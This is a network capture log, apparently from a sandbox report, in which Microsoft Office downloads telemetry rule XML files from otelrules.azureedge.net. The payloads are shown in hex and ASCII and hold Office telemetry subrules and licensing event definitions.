2024-11-16 03:34:09 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-1866b5c5fbbwlv6nhC1DFWw4bs00000000p000000000f6q7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:09 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 92b50986-201e-000c-1a26-3779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-164f84587bfdl84ghC1DFWbbhc00000002fg000000005xkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-1866b5c5fbbkbjq9hC1DFWf1es000000012000000000mf91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:10 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033410Z-16547b76f7fljddfhC1DFWeqbs000000031g00000000d7ns x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:10 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 05e9aefb-801e-00ac-4740-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033410Z-16547b76f7f7zzl8hC1DFWmtag000000013000000000fgc1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033410Z-16547b76f7f775p5hC1DFWzdvn0000000nyg00000000rdz9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:10 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:10 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033410Z-16547b76f7flf9g6hC1DFWmcx80000000bmg00000000b4xf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:10 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:10 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:10 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033410Z-16547b76f7fwvr5dhC1DFW2c940000000p0g000000008apk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033411Z-1866b5c5fbbt75vghC1DFW0qd4000000021000000000n96x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:11 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033411Z-16547b76f7fgfpmjhC1DFWw6ec00000001pg00000000buna x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033411Z-1866b5c5fbb9ls62hC1DFW4k2s00000002d0000000004rg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:11 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033411Z-1866b5c5fbbx98hfhC1DFWuqmg000000010g00000000890n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
